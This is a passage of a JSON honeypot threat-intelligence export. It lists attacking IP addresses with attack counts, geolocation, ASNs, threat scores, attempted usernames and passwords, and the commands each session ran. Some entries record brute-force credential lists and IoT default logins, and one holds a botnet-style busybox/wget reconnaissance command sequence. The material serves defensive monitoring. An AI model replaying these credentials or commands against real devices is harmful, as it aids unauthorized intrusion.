        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T01:42:33.080000+00:00",
        "last_seen_30d": "2026-04-27T01:48:47.796000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "209.38.70.23": {
      "attack_count": 45,
      "first_seen": "2026-04-25T19:42:12.240Z",
      "last_seen": "2026-04-25T20:05:31.773Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "solana",
        "ethereum",
        "solv"
      ],
      "passwords_attempted": [
        "1",
        "123456",
        "12345678",
        "1234567890",
        "ethereum",
        "sol",
        "solana",
        "solv"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 69,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T19:39:10.154000+00:00",
        "last_seen_30d": "2026-04-25T20:06:33.451000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 45,
        "Suricata": 24
      }
    },
    "216.234.205.170": {
      "attack_count": 36,
      "first_seen": "2026-04-18T10:00:41.555Z",
      "last_seen": "2026-04-18T22:24:43.327Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Mexico City",
      "asn": 14593,
      "as_org": "Space Exploration Technologies Corporation",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T10:00:41.555000+00:00",
        "last_seen_30d": "2026-04-18T22:25:46.183000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 41,
        "Cowrie": 36
      }
    },
    "120.48.52.177": {
      "attack_count": 30,
      "first_seen": "2026-04-06T01:28:06.676Z",
      "last_seen": "2026-04-06T01:28:34.090Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "---fuck_you----",
        "123",
        "12345",
        "Nikhil123",
        "nifi"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T01:28:06.676000+00:00",
        "last_seen_30d": "2026-04-06T01:29:38.320000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 13
      }
    },
    "209.38.76.28": {
      "attack_count": 30,
      "first_seen": "2026-04-05T01:35:54.201Z",
      "last_seen": "2026-04-05T01:49:12.280Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "vyos",
        "oneadmin",
        "test"
      ],
      "passwords_attempted": [
        "12345678",
        "admin@123",
        "oneadmin",
        "test@123",
        "vyos"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T01:33:40.493000+00:00",
        "last_seen_30d": "2026-04-05T01:50:14.714000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "185.93.89.131": {
      "attack_count": 23,
      "first_seen": "2026-04-10T13:50:03.138Z",
      "last_seen": "2026-04-15T17:47:57.905Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "kelltech"
      ],
      "passwords_attempted": [
        "Kelltech!1234",
        "Kelltech!2021",
        "Kelltech#1234",
        "Root2026@"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 16.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T13:50:03.138000+00:00",
        "last_seen_30d": "2026-04-15T17:49:04.141000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 12
      }
    },
    "77.90.185.237": {
      "attack_count": 23,
      "first_seen": "2026-04-10T12:37:09.889Z",
      "last_seen": "2026-04-15T17:30:33.800Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "kelltech"
      ],
      "passwords_attempted": [
        "Kelltech12@",
        "kelltech#2026",
        "kelltech1",
        "kelltech1#"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 16.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T12:37:09.889000+00:00",
        "last_seen_30d": "2026-04-15T17:31:36.064000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 12
      }
    },
    "77.90.185.250": {
      "attack_count": 23,
      "first_seen": "2026-04-10T12:23:14.543Z",
      "last_seen": "2026-04-15T17:36:14.375Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "kelltech"
      ],
      "passwords_attempted": [
        "Kelltech@",
        "Kelltech@1",
        "Kelltech@123",
        "p@ssw0rd1"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 16.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T12:23:14.543000+00:00",
        "last_seen_30d": "2026-04-15T17:37:19.451000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 12
      }
    },
    "176.120.177.179": {
      "attack_count": 21,
      "first_seen": "2026-04-26T13:25:28.769Z",
      "last_seen": "2026-04-26T13:25:32.746Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "Admin",
        "root"
      ],
      "passwords_attempted": [
        "1001chin",
        "5up"
      ],
      "commands_executed": [
        "q",
        "shell",
        "system",
        "/bin/busybox UAKPI",
        "cat /proc/mounts; /bin/busybox UAKPI",
        "cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UAKPI",
        "dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s",
        "enable",
        "rm .s; exit",
        "sh",
        "tftp; wget; /bin/busybox UAKPI",
        "while read i"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tver",
      "asn": 51669,
      "as_org": "Home Computer Networks ltd.",
      "threat_score": 34.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.3,
        "persistence": 6.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 8,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-19T13:53:42.026000+00:00",
        "last_seen_30d": "2026-04-26T13:26:42.545000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 5,
        "Tanner": 1
      }
    },
    "182.45.145.10": {
      "attack_count": 20,
      "first_seen": "2026-04-19T20:43:17.222Z",
      "last_seen": "2026-04-19T20:43:29.022Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "h3c.com!",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T20:43:17.222000+00:00",
        "last_seen_30d": "2026-04-19T20:44:35.261000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 10
      }
    },
    "112.25.235.194": {
      "attack_count": 12,
      "first_seen": "2026-04-08T07:27:29.682Z",
      "last_seen": "2026-04-08T07:28:47.337Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 6.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T07:27:29.682000+00:00",
        "last_seen_30d": "2026-04-08T07:29:58.817000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 7
      }
    },
    "115.60.203.208": {
      "attack_count": 12,
      "first_seen": "2026-04-06T16:32:24.005Z",
      "last_seen": "2026-04-06T16:33:41.469Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Zhengzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T16:32:24.005000+00:00",
        "last_seen_30d": "2026-04-06T16:34:48.913000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 7
      }
    },
    "156.229.16.142": {
      "attack_count": 12,
      "first_seen": "2026-04-28T15:53:33.638Z",
      "last_seen": "2026-04-28T15:53:54.135Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 70.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.8,
        "persistence": 23.3,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 28,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T17:43:12.433000+00:00",
        "last_seen_30d": "2026-04-28T15:55:01.344000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 51,
        "Honeytrap": 28,
        "Cowrie": 12,
        "Dionaea": 5
      }
    },
    "66.132.195.110": {
      "attack_count": 12,
      "first_seen": "2026-04-16T06:35:51.644Z",
      "last_seen": "2026-04-19T15:37:59.260Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 68.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.1,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 65,
        "days_active_30d": 22,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-06T03:01:09.401000+00:00",
        "last_seen_30d": "2026-04-27T07:46:07.230000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 39,
        "Cowrie": 12,
        "Honeytrap": 10,
        "ElasticPot": 4
      }
    },
    "165.232.138.158": {
      "attack_count": 10,
      "first_seen": "2026-04-08T19:27:06.283Z",
      "last_seen": "2026-04-08T19:27:46.484Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 20.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 123020,
        "days_active_30d": 1,
        "ports_targeted_30d": 65192,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-04-08T19:25:32+00:00",
        "last_seen_30d": "2026-04-08T19:38:02.425000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 108667,
        "Honeytrap": 14289,
        "Mailoney": 12,
        "Dionaea": 11,
        "ConPot": 10,
        "Cowrie": 10,
        "Miniprint": 8,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 1,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "170.64.184.46": {
      "attack_count": 8,
      "first_seen": "2026-04-13T09:04:32.203Z",
      "last_seen": "2026-04-13T09:04:44.168Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 30.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.8,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 241,
        "days_active_30d": 1,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-13T09:04:32+00:00",
        "last_seen_30d": "2026-04-13T09:06:18.043000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 139,
        "Honeytrap": 57,
        "ConPot": 14,
        "Cowrie": 8,
        "Ciscoasa": 7,
        "Honeyaml": 7,
        "ElasticPot": 5,
        "Dionaea": 4
      }
    },
    "147.182.151.123": {
      "attack_count": 7,
      "first_seen": "2026-04-10T14:11:53.056Z",
      "last_seen": "2026-04-10T14:11:55.491Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T14:11:53.056000+00:00",
        "last_seen_30d": "2026-04-10T14:13:02.108000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 6
      }
    },
    "222.174.65.38": {
      "attack_count": 7,
      "first_seen": "2026-04-22T17:08:02.169Z",
      "last_seen": "2026-04-22T17:10:05.077Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "a"
      ],
      "passwords_attempted": [
        "a"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T17:08:02.169000+00:00",
        "last_seen_30d": "2026-04-22T17:11:17.864000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 7
      }
    },
    "64.89.160.47": {
      "attack_count": 7,
      "first_seen": "2026-04-23T14:12:48.690Z",
      "last_seen": "2026-04-23T14:12:51.249Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "AdminGPON"
      ],
      "passwords_attempted": [
        "ALC#FGU"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 205759,
      "as_org": "Ghosty Networks LLC",
      "threat_score": 58.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.6,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 23,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T21:21:54+00:00",
        "last_seen_30d": "2026-04-23T14:13:58.960000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 89,
        "Honeytrap": 50,
        "Cowrie": 7
      }
    },
    "147.185.132.39": {
      "attack_count": 6,
      "first_seen": "2026-04-07T16:15:11.309Z",
      "last_seen": "2026-04-23T15:32:59.105Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 84.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 94,
        "days_active_30d": 30,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T00:21:29.794000+00:00",
        "last_seen_30d": "2026-04-30T16:22:54.763000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 64,
        "Honeytrap": 23,
        "Cowrie": 6,
        "Dionaea": 1
      }
    },
    "183.212.245.12": {
      "attack_count": 6,
      "first_seen": "2026-04-27T04:44:47.050Z",
      "last_seen": "2026-04-27T04:45:34.551Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuxi",
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 20.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T04:44:47.050000+00:00",
        "last_seen_30d": "2026-04-27T04:46:40.734000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "205.210.31.231": {
      "attack_count": 6,
      "first_seen": "2026-04-02T03:54:15.322Z",
      "last_seen": "2026-04-09T22:22:46.789Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 79.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.3,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 86,
        "days_active_30d": 28,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T03:54:15.322000+00:00",
        "last_seen_30d": "2026-04-29T05:49:11.175000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 56,
        "Honeytrap": 23,
        "Cowrie": 6,
        "Wordpot": 1
      }
    },
    "35.202.9.133": {
      "attack_count": 6,
      "first_seen": "2026-04-06T21:17:23.328Z",
      "last_seen": "2026-04-27T18:38:04.639Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Council Bluffs",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 88.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 30,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T17:46:11.929000+00:00",
        "last_seen_30d": "2026-04-30T19:45:08.070000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 60,
        "Cowrie": 6,
        "Honeytrap": 6,
        "Dionaea": 3,
        "Tanner": 3
      }
    },
    "66.132.186.167": {
      "attack_count": 6,
      "first_seen": "2026-04-02T23:35:25.923Z",
      "last_seen": "2026-04-02T23:36:13.932Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.1,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 161,
        "days_active_30d": 29,
        "ports_targeted_30d": 45,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-02T00:14:00+00:00",
        "last_seen_30d": "2026-04-30T21:36:26.970000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 85,
        "Honeytrap": 62,
        "ElasticPot": 7,
        "Cowrie": 6,
        "Dionaea": 1
      }
    },
    "66.132.195.105": {
      "attack_count": 6,
      "first_seen": "2026-04-08T07:19:28.897Z",
      "last_seen": "2026-04-08T07:20:12.724Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 72.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.0,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 50,
        "days_active_30d": 27,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T06:34:01+00:00",
        "last_seen_30d": "2026-04-29T05:33:45.603000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26,
        "Honeytrap": 18,
        "Cowrie": 6
      }
    },
    "89.190.156.34": {
      "attack_count": 6,
      "first_seen": "2026-04-18T06:00:40.339Z",
      "last_seen": "2026-04-19T11:21:41.280Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
